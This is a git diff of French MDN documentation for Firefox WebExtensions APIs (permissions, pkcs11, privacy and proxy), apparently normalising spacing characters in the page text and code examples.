{{WebExtAPIRef("permissions.Permissions")}}. -L'argument `Permissions` peut contenir une propriété origine, qui est un tableau de [permissions hôtes](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions), ou une propriété `permissions` , qui est un tableau de [permissions API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. +L'argument `Permissions` peut contenir une propriété origine, qui est un tableau de [permissions hôtes](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions), ou une propriété `permissions` , qui est un tableau de [permissions API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. -Il s'agit d'une fonction asynchrone qui renvoie une [`Promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). La promesse est remplie avec true seulement si toute l'extension possède actuellement toutes les permissions données. Pour les permissions d'hôtes, si le modèle de permissions if the extension's permissions [pattern-match](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns) the permissions listed in `origins`, then they are considered to match. +Il s'agit d'une fonction asynchrone qui renvoie une [`Promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). La promesse est remplie avec true seulement si toute l'extension possède actuellement toutes les permissions données. Pour les permissions d'hôtes, si le modèle de permissions if the extension's permissions [pattern-match](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns) the permissions listed in `origins`, then they are considered to match. ## Syntaxe @@ -34,7 +34,7 @@ var getContains = browser.permissions.contains( ### Valeur renvoyée -Une [`Promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui sera remplie avec `true` si l'extension possède déjà toutes les permissions listées dans l'argument des `permissions` , ou `false` dans le cas contraire. +Une [`Promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui sera remplie avec `true` si l'extension possède déjà toutes les permissions listées dans l'argument des `permissions` , ou `false` dans le cas contraire. ## Compatibilité du navigateur @@ -56,8 +56,8 @@ browser.permissions.contains(testPermissions1).then((result) => { }); var testPermissions2 = { - origins: ["*://mozilla.org/"], - permissions: ["tabs", "alarms"] + origins: ["*://mozilla.org/"], + permissions: ["tabs", "alarms"] }; browser.permissions.contains(testPermissions2).then((result) => { @@ -65,8 +65,8 @@ browser.permissions.contains(testPermissions2).then((result) => { }); var testPermissions3 = { - origins: ["https://developer.mozilla.org/"], - permissions: ["tabs", "webRequest"] + origins: ["https://developer.mozilla.org/"], + permissions: ["tabs", "webRequest"] }; browser.permissions.contains(testPermissions3).then((result) => { @@ -74,7 +74,7 @@ browser.permissions.contains(testPermissions3).then((result) => { }); // matches: "*://*.mozilla.org/*" var testPermissions4 = { - origins: ["https://example.org/"] + origins: ["https://example.org/"] }; browser.permissions.contains(testPermissions4).then((result) => { diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/getall/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/getall/index.md index c94e86081f..621a28153c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/getall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/getall/index.md @@ -29,7 +29,7 @@ None. ### Valeur renvoyée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef("permissions.Permissions")}} contenant toutes les permissions actuellement accordées à l'extensions. Cela inclut toutes les permissions que l'extension à répertoriées dans la clé de [`permissions`](/fr/Add-ons/WebExtensions/manifest.json/permissions) , et toutes les permissions répertoriées dans [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions) que l'extension a été accordée en appelant {{WebExtAPIRef("permissions.request()")}}. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef("permissions.Permissions")}} contenant toutes les permissions actuellement accordées à l'extensions. Cela inclut toutes les permissions que l'extension à répertoriées dans la clé de [`permissions`](/fr/Add-ons/WebExtensions/manifest.json/permissions) , et toutes les permissions répertoriées dans [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions) que l'extension a été accordée en appelant {{WebExtAPIRef("permissions.request()")}}. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/index.md index da3ae2f299..d00fc3e6e3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/index.md @@ -25,7 +25,7 @@ Avec l'API de permissions, une extension peut demander des permissions suppléme - L'extension peut gérer le refus de permission de manière gracieuse au lieu de présenter à l'utilisateur un choix global "tout ou rien" au moment de l'installation. Vous pouvez toujours obtenir beaucoup de cette carte d'extension sans lui donner accès à votre emplacement, par exemple. - L'extension peut avoir besoin des [permissions hôtes](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions), mais ne sait pas à l'installation exactement quelles permissions d'hôte qu'il a besoin. Par exemple, la liste des hôtes peut être un paramètre utilisateur. Dans ce scénario, demander une gamme plus spécifique d'hôtes au moment de l'exécution peut être une alternative à demander "\<all_urls>" au moment de l'installation. -Pour utiliser l'API de permissions, déterminez les permissions que votre extension peut demander lors de l'exécution, et indiquez-les dans [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions). Après cela, vous pouvez demander toutes les permissions incluses dans `optional_permissions`. Les demandes peuvent uniquement être effectuées dans le gestionnaire pour une action de l'utilisateur (par exemple, un gestionnaire de clics). Pour des conseils sur la conception de votre demande d'autorisations d'exécution, afin de maximiser la probabilité que les utilisateurs les accordent, consultez la section [Demande de permissions à exécuter](/Add-ons/WebExtensions/demander_les_bonnes_permissions#Demander_les_permissions_%C3%A0_%C3%A9x%C3%A9cuter) +Pour utiliser l'API de permissions, déterminez les permissions que votre extension peut demander lors de l'exécution, et indiquez-les dans [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions). Après cela, vous pouvez demander toutes les permissions incluses dans `optional_permissions`. Les demandes peuvent uniquement être effectuées dans le gestionnaire pour une action de l'utilisateur (par exemple, un gestionnaire de clics). Pour des conseils sur la conception de votre demande d'autorisations d'exécution, afin de maximiser la probabilité que les utilisateurs les accordent, consultez la section [Demande de permissions à exécuter](/Add-ons/WebExtensions/demander_les_bonnes_permissions#Demander_les_permissions_%C3%A0_%C3%A9x%C3%A9cuter) ## Types diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/onadded/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/onadded/index.md index 759ff8cb6d..add342208c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/onadded/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/onadded/index.md @@ -30,7 +30,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifier si le `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, sinon `false`. + - : Vérifier si le `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/onremoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/onremoved/index.md index e535785ed0..56014a33e2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/onremoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/onremoved/index.md @@ -30,7 +30,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur a supprimée. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré dans l'événement. Retourne `true` s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré dans l'événement. Retourne `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/remove/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/remove/index.md index f8fcf0c0f8..bc08e2793c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/remove/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/remove/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/permissions/remove Demander d'abandonner les permissions listées dans l'objet {{WebExtAPIRef("permissions.Permissions")}}. -L'argument `Permissions` peut contenir soit une propriété `origins` ,qui est un tableau de [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) , ou une propriété `permissions`, qui est un tableau de [permissions d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. Les permissions doivent provenir de l'ensemble des permissions définies dans la clé [`optional_permissions`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions) du manifest.json. +L'argument `Permissions` peut contenir soit une propriété `origins` ,qui est un tableau de [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) , ou une propriété `permissions`, qui est un tableau de [permissions d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. Les permissions doivent provenir de l'ensemble des permissions définies dans la clé [`optional_permissions`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions) du manifest.json. Il s'agit d'une fonction asynchrone qui renvoie une [`Promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/permissions/request/index.md b/files/fr/mozilla/add-ons/webextensions/api/permissions/request/index.md index aa1f14cc3f..c06a705778 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/permissions/request/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/permissions/request/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/permissions/request Demandez l'ensemble des permissions répertoriées dans l'objet {{WebExtAPIRef("permissions.Permissions")}}. -L'argument `Permissions` peut contenir soit une propriété `origins` , qui est un tableau de [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions), soit une propriété `permissions` , qui est un tableau de [permissions d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. Les permissions doivent provenir de l'ensemble des permissions définies dans la clé [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions) du manifest.json. La propriété `origins` qui correspondent à un sous-ensemble des hôtes correspondant à une permission facultative : par exemple, si optional_permissions inclut "\*://mozilla.org/", alors `permissions.origins` peut inclure "https\://developer.mozilla.org/". +L'argument `Permissions` peut contenir soit une propriété `origins` , qui est un tableau de [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions), soit une propriété `permissions` , qui est un tableau de [permissions d'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions), ou les deux. Les permissions doivent provenir de l'ensemble des permissions définies dans la clé [`optional_permissions`](/fr/Add-ons/WebExtensions/manifest.json/optional_permissions) du manifest.json. La propriété `origins` qui correspondent à un sous-ensemble des hôtes correspondant à une permission facultative : par exemple, si optional_permissions inclut "\*://mozilla.org/", alors `permissions.origins` peut inclure "https\://developer.mozilla.org/". La demande ne peut être faite qu'à l'intérieur du gestionnaire pour une [action utilisateur](/fr/Add-ons/WebExtensions/User_actions). diff --git a/files/fr/mozilla/add-ons/webextensions/api/pkcs11/getmoduleslots/index.md b/files/fr/mozilla/add-ons/webextensions/api/pkcs11/getmoduleslots/index.md index 423eee92ed..ecdb944945 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pkcs11/getmoduleslots/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pkcs11/getmoduleslots/index.md @@ -47,7 +47,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se - `manufacturer` - : `string`. Nom du jeton fabriqué. - `HWVersion` - - : `string`. Version matérielle, en tant que numéro de version PKCS #11 (deux entiers 32-bit séparés par un point, comme "1.0". + - : `string`. Version matérielle, en tant que numéro de version PKCS #11 (deux entiers 32-bit séparés par un point, comme "1.0". - `FWVersion` - : `string`. Version du micrologiciel, en tant que numéro de version PKCS #11 (deux 32-bit séparés par un point, comme "1.0". - `serial` diff --git a/files/fr/mozilla/add-ons/webextensions/api/pkcs11/index.md b/files/fr/mozilla/add-ons/webextensions/api/pkcs11/index.md index 61c1b5231d..a2af6f695a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/pkcs11/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/pkcs11/index.md @@ -42,13 +42,13 @@ Effectuez les étapes suivantes : Il y a 2 pré-requis pour pouvoir utiliser cette API: - un ou plusieurs modules PKCS # 11 doivent être installés sur l'ordinateur de l'utilisateur -- pour chaque module PKCS # 11 installé, il doit y avoir un fichier [manifest natif](/fr/Add-ons/WebExtensions/manifests_native) qui permet au navigateur de localiser le module. +- pour chaque module PKCS # 11 installé, il doit y avoir un fichier [manifest natif](/fr/Add-ons/WebExtensions/manifests_native) qui permet au navigateur de localiser le module. Très probablement, l'utilisateur ou l'administrateur du périphérique installerait le module `PKCS #11`, et son installateur installerait le fichier de manifeste natif en même temps. Cependant, le module et le manifeste ne peuvent pas être installés dans le cadre du processus d'installation de l'extension. -Pour plus de détails sur le contenu et l'emplacement du fichier de manifeste, voir [Manifest natifs](/fr/Add-ons/WebExtensions/Native_manifests). +Pour plus de détails sur le contenu et l'emplacement du fichier de manifeste, voir [Manifest natifs](/fr/Add-ons/WebExtensions/Native_manifests). ## Fonctions diff --git a/files/fr/mozilla/add-ons/webextensions/api/privacy/network/index.md b/files/fr/mozilla/add-ons/webextensions/api/privacy/network/index.md index 1f9407f755..378d5a1bbe 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/privacy/network/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/privacy/network/index.md @@ -23,9 +23,9 @@ Les valeurs par défaut de ces propriétés peuvent varier selon les navigateurs - `networkPredictionEnabled` - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur contenue est un booléen. Si il est défini à `true`, le navigateur tente d'accélérer la navigation Web avec la pré-résolution des entrées DNS, le pré-chargement des sites (en utilisant, par exemple, `<link rel='prefetch' ...>`), et en ouvrant de manière préemptive les connexions TCP et SSL aux serveurs. - `peerConnectionEnabled` - - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur contenue est un booléen. Si il est défini à `false`, l'interface[`RTCPeerConnection`](/fr/docs/Web/API/RTCPeerConnection) est désactivée. Notez que [`getUserMedia()`](/fr/docs/Web/API/MediaDevices/getUserMedia) n'est pas affectée par ce paramètre. + - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur contenue est un booléen. Si il est défini à `false`, l'interface[`RTCPeerConnection`](/fr/docs/Web/API/RTCPeerConnection) est désactivée. Notez que [`getUserMedia()`](/fr/docs/Web/API/MediaDevices/getUserMedia) n'est pas affectée par ce paramètre. - `webRTCIPHandlingPolicy` - - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur contenue est une chaîne de caractères. Ce paramètre permet aux utilisateurs de spécifier les compromissions de performance / confidentialité des médias qui affectent la façon dont le trafic WebRTC sera acheminé et la quantité d'informations d'adresse locale exposées. Il peut prendre l'une des valeurs suivantes : + - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur contenue est une chaîne de caractères. Ce paramètre permet aux utilisateurs de spécifier les compromissions de performance / confidentialité des médias qui affectent la façon dont le trafic WebRTC sera acheminé et la quantité d'informations d'adresse locale exposées. Il peut prendre l'une des valeurs suivantes : `"default" "default_public_and_private_interfaces" "default_public_interface_only" "disable_non_proxied_udp"` ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/privacy/services/index.md b/files/fr/mozilla/add-ons/webextensions/api/privacy/services/index.md index 07e8f2fd55..f5fb28e100 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/privacy/services/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/privacy/services/index.md @@ -13,7 +13,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/privacy/services --- {{AddonSidebar}} -La propriété {{WebExtAPIRef("privacy.services")}} contient des paramètres liés à la vie privée contrôlant les services offerts par le navigateur ou par des tiers. Chaque propriété est un objet {{WebExtAPIRef("types.BrowserSetting")}}. +La propriété {{WebExtAPIRef("privacy.services")}} contient des paramètres liés à la vie privée contrôlant les services offerts par le navigateur ou par des tiers. Chaque propriété est un objet {{WebExtAPIRef("types.BrowserSetting")}}. ## Propriétés diff --git a/files/fr/mozilla/add-ons/webextensions/api/privacy/websites/index.md b/files/fr/mozilla/add-ons/webextensions/api/privacy/websites/index.md index 65e06381cd..26c6977efa 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/privacy/websites/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/privacy/websites/index.md @@ -14,9 +14,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/privacy/websites --- {{AddonSidebar}} -La propriété {{WebExtAPIRef("privacy.websites")}} contient les paramètres liés à la vie privée qui contrôlent la façon dont le navigateur interargit avec les sites web. Chaque propriété est un objet {{WebExtAPIRef("types.BrowserSetting")}}. +La propriété {{WebExtAPIRef("privacy.websites")}} contient les paramètres liés à la vie privée qui contrôlent la façon dont le navigateur interargit avec les sites web. Chaque propriété est un objet {{WebExtAPIRef("types.BrowserSetting")}}. -Les valeurs par défaut de ces propriétés ont tendance à varier selon les navigateurs. +Les valeurs par défaut de ces propriétés ont tendance à varier selon les navigateurs. ## Propriétés @@ -49,7 +49,7 @@ Les valeurs par défaut de ces propriétés ont tendance à varier selon les n - `protectedContentEnabled` - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur sous-jacente est un booléen. Disponible uniquement sur Windows. Si`true`, le navigateur fournit un ID unique aux plugins afin d'exécuter le contenu protégé. - `referrersEnabled` - - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur sous-jacente est un booléen. Si activé, le navigateur envoie les en-têtes de [référence](/fr/docs/Web/HTTP/Headers/Referer) avec vos demandes. + - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur sous-jacente est un booléen. Si activé, le navigateur envoie les en-têtes de [référence](/fr/docs/Web/HTTP/Headers/Referer) avec vos demandes. - `resistFingerprinting` - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur sous-jacente est un booléen. @@ -64,7 +64,7 @@ Les valeurs par défaut de ces propriétés ont tendance à varier selon les n - : Un objet {{WebExtAPIRef("types.BrowserSetting")}} dont la valeur sous-jacente est un booléen. Si `false`, le navigateur bloque les [cookies tiers](/fr/docs/Web/HTTP/Cookies#Third-party_cookies). - `trackingProtectionMode` - - : La "protection de suivi" est une fonctionnalité de navigateur qui bloque les requêtes faites sur des domaines qui sont connus pour s'engager dans le suivi multi-sites des utilisateurs. Les sites qui suivent les utilisateurs sont généralement des sites publicitaires et analytiques tiers. Ce paramètre est un objet {{WebExtAPIRef("types.BrowserSetting")}} qui détermine si le navigateur doit activer la protection de suivi. Sa valeur sous-jacente est une chaîne qui peut prendre l'une des trois valeurs : + - : La "protection de suivi" est une fonctionnalité de navigateur qui bloque les requêtes faites sur des domaines qui sont connus pour s'engager dans le suivi multi-sites des utilisateurs. Les sites qui suivent les utilisateurs sont généralement des sites publicitaires et analytiques tiers. Ce paramètre est un objet {{WebExtAPIRef("types.BrowserSetting")}} qui détermine si le navigateur doit activer la protection de suivi. Sa valeur sous-jacente est une chaîne qui peut prendre l'une des trois valeurs : - `"always"`: La protection de suivi est activée. - `"never"`: La protection de suivi est désactivée. diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/index.md index fc9725aef9..52fea2808d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/index.md @@ -18,7 +18,7 @@ Utilisez l'API proxy pour les requêtes Web proxy. Vous pouvez utiliser l'écout L'avantage de l'approche `proxy.onRequest` est que le code qui implémente votre stratégie de proxy s'exécute dans le script d'arrière-plan de votre extension pour accéder aux API WebExtension disponibles pour votre extension (y compris, par exemple, l'accès au [`stockage`](/fr/Add-ons/WebExtensions/API/storage) et au réseau de votre extension APIs comme [`dns`](/fr/Add-ons/WebExtensions/API/dns)). -En dehors de cette API, les extensions peuvent également utiliser la propriété [`browserSettings.proxyConfig`](/fr/Add-ons/WebExtensions/API/browserSettings/proxyConfig) pour configurer les paramètres proxy globaux. +En dehors de cette API, les extensions peuvent également utiliser la propriété [`browserSettings.proxyConfig`](/fr/Add-ons/WebExtensions/API/browserSettings/proxyConfig) pour configurer les paramètres proxy globaux. Google Chrome fournit [une API d'extension également appelée "proxy"](https://developer.chrome.com/extensions/proxy) qui est fonctionnellement similaire à cette API, dans la mesure où les extensions peuvent l'utiliser pour implémenter une politique de proxy. Cependant, la conception de l'API Chrome est complètement différente de cette API. Étant donné que cette API est incompatible avec l'API de `proxy` Chrome, cette API est uniquement disponible via l'espace de noms du `navigateur`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/onrequest/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/onrequest/index.md index 90a46bbe63..120769ad54 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/onrequest/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/onrequest/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/onRequest Déclenché lorsqu'une requête Web est sur le point d'être effectuée, pour donner à l'extension la possibilité de l'utiliser comme proxy. -Cet événement est étroitement modélisé sur les événements définis dans l'API [`webRequest`](/fr/Add-ons/WebExtensions/API/webRequest) Comme ces événements, sa fonction `addListener()` prend trois arguments : +Cet événement est étroitement modélisé sur les événements définis dans l'API [`webRequest`](/fr/Add-ons/WebExtensions/API/webRequest) Comme ces événements, sa fonction `addListener()` prend trois arguments : - l'écouteur qui sera appelé lorsque l'événement est déclenché. - Un objet [`RequestFilter`](/fr/Add-ons/WebExtensions/API/webRequest/RequestFilter) contrôlant quelles requêtes provoquent le déclenchement de l'événement. @@ -47,7 +47,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/proxyinfo/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/proxyinfo/index.md index 394907b1e5..6a6651a8fc 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/proxyinfo/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/proxyinfo/index.md @@ -31,15 +31,15 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `host` - : `string`. Le nom d'hôte du serveur proxy. Obligatoire sauf si le `type` est `"direct"`. - `port` - - : `string`. e numéro de port du serveur proxy. Obligatoire sauf si le `type` est `"direct"`. + - : `string`. e numéro de port du serveur proxy. Obligatoire sauf si le `type` est `"direct"`. - `username` - - : `string`. Nom d'utilisateur pour le service proxy. Ceci est utilisable avec "socks". Pour les autorisations de proxy HTTP, utilisez [`webRequest.onAuthRequired`](/fr/Add-ons/WebExtensions/API/webRequest/onAuthRequired). + - : `string`. Nom d'utilisateur pour le service proxy. Ceci est utilisable avec "socks". Pour les autorisations de proxy HTTP, utilisez [`webRequest.onAuthRequired`](/fr/Add-ons/WebExtensions/API/webRequest/onAuthRequired). - `password` - : `string`. Mot de passe pour le service proxy. Ceci est utilisable avec "socks". FPour les autorisations de proxy HTTP, utilisez [`webRequest.onAuthRequired`](/fr/Add-ons/WebExtensions/API/webRequest/onAuthRequired). - `proxyDNS` - - : `boolean`. Si vrai, le serveur proxy est utilisé pour résoudre certaines requêtes DNS (uniquement utilisable avec `"socks4"` et `"socks"`). Par défaut à `false`. + - : `boolean`. Si vrai, le serveur proxy est utilisé pour résoudre certaines requêtes DNS (uniquement utilisable avec `"socks4"` et `"socks"`). Par défaut à `false`. - `failoverTimeout` - - : `number`: Délais de basculement en secondes. Si la connexion ne parvient pas à connecter le serveur proxy après ce nombre de secondes, le serveur proxy suivant dans le tableau renvoyé par l'écouteur `proxy.onRequest` sera utilisé. + - : `number`: Délais de basculement en secondes. Si la connexion ne parvient pas à connecter le serveur proxy après ce nombre de secondes, le serveur proxy suivant dans le tableau renvoyé par l'écouteur `proxy.onRequest` sera utilisé. <!----> diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/register/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/register/index.md index 8db820818f..d92db97f89 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/register/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/register/index.md @@ -23,10 +23,10 @@ Enregistre un [fichier PAC (Proxy Auto-Configuration)](/fr/docs/Web/HTTP/Proxy_s Si les fichiers PAC sont enregistrés par plusieurs extensions, les demandes seront initialement transmises à celle qui a été enregistrée en premier. -- Si la fonction `FindProxyForURL()` dans le premier PAC renvoie "DIRECT" pour une demande, alors la demande sera transmise inchangée à la fonction `FindProxyForURL()` dans le prochain PAC. +- Si la fonction `FindProxyForURL()` dans le premier PAC renvoie "DIRECT" pour une demande, alors la demande sera transmise inchangée à la fonction `FindProxyForURL()` dans le prochain PAC. - Si la fonction `FindProxyForURL()` dans le premier PAC transfère la requête en renvoyant "PROXY" ou une autre valeur proxy, l'URL du proxy sera transmise à la fonction `FindProxyForURL()` dans le prochain PAC. -Chaque extension ne peut enregistrer qu'un seul fichier PAC : si vous appelez `register()` deux fois, le second fichier PACremplacera le premier. +Chaque extension ne peut enregistrer qu'un seul fichier PAC : si vous appelez `register()` deux fois, le second fichier PACremplacera le premier. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -73,7 +73,7 @@ La syntaxe de base du fichier PAC est décrite dans la [documentation PAC](</fr/ La norme `FindProxyForURL()` [renvoie une chaîne](/fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_%28PAC%29_file#Return_value_format). Dans Firefox 55 et 56, le fichier PAC utilisé avec l'API proxy renvoie également une chaîne. Dans Firefox 55 _seulement_, vous devez passer un argument à la valeur de retour "DIRECT", même s'il n'a pas besoin d'argument. -À partir de Firefox 57, `FindProxyForURL()` peut toujours renvoyer une chaîne, mais peut également (et de préférence) renvoyer un tableau d'objets {{WebExtAPIRef("proxy.ProxyInfo")}}. +À partir de Firefox 57, `FindProxyForURL()` peut toujours renvoyer une chaîne, mais peut également (et de préférence) renvoyer un tableau d'objets {{WebExtAPIRef("proxy.ProxyInfo")}}. Si le tableau contient plus d'un objet, alors tous les objets `ProxyInfo` après le premier représentent les basculements : si le proxy à la position N dans le tableau n'est pas accessible quand son `ProxyInfo.failoverTimeout` expire, alors le navigateur essaiera le proxy à la position N + 1. @@ -100,7 +100,7 @@ Le premier proxy dans le tableau sera essayé en premier. S'il ne répond pas da ### Environnement du fichier PAC -Les fonctions globales d'assistance généralement disponibles pour les fichiers PAC ([`isPlainHostName()`](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file#isPlainHostName()_2>), [`dnsDomainIs()`](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file#dnsDomainIs()>), etc) ne sont pas disponibles. +Les fonctions globales d'assistance généralement disponibles pour les fichiers PAC ([`isPlainHostName()`](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file#isPlainHostName()_2>), [`dnsDomainIs()`](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file#dnsDomainIs()>), etc) ne sont pas disponibles. Le code qui s'exécute dans le fichier PAC n'a pas accès à : diff --git a/files/fr/mozilla/add-ons/webextensions/api/proxy/requestdetails/index.md b/files/fr/mozilla/add-ons/webextensions/api/proxy/requestdetails/index.md index 507194e870..2ee6d79ea3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/proxy/requestdetails/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/proxy/requestdetails/index.md @@ -12,7 +12,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/proxy/RequestDetails --- {{AddonSidebar()}} -Contient des informations sur une requête Web que le navigateur est sur le point de faire. Une instance de cet objet est passée dans l'écouteur {{WebExtAPIRef("proxy.onRequest")}}. +Contient des informations sur une requête Web que le navigateur est sur le point de faire. Une instance de cet objet est passée dans l'écouteur {{WebExtAPIRef("proxy.onRequest")}}. ## Type @@ -23,7 +23,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `documentUrl` - : `string`. URL de la page dans laquelle la ressource demandée sera chargée. - `frameId` - - : `integer`. Zéro si la requête se produit dans le cadre principal; une valeur positive est l'ID d'une sous-trame dans laquelle la requête se produit. Si le document d'une (sous-)frame est chargé (`type` est `main_frame` ou `sub_frame`), `frameId` indique l'ID de cette trame, pas l'ID de la trame externe. Les ID de cadre sont uniques dans un onglet. + - : `integer`. Zéro si la requête se produit dans le cadre principal; une valeur positive est l'ID d'une sous-trame dans laquelle la requête se produit. Si le document d'une (sous-)frame est chargé (`type` est `main_frame` ou `sub_frame`), `frameId` indique l'ID de cette trame, pas l'ID de la trame externe. Les ID de cadre sont uniques dans un onglet. - `fromCache` - : `boolean`. Indique 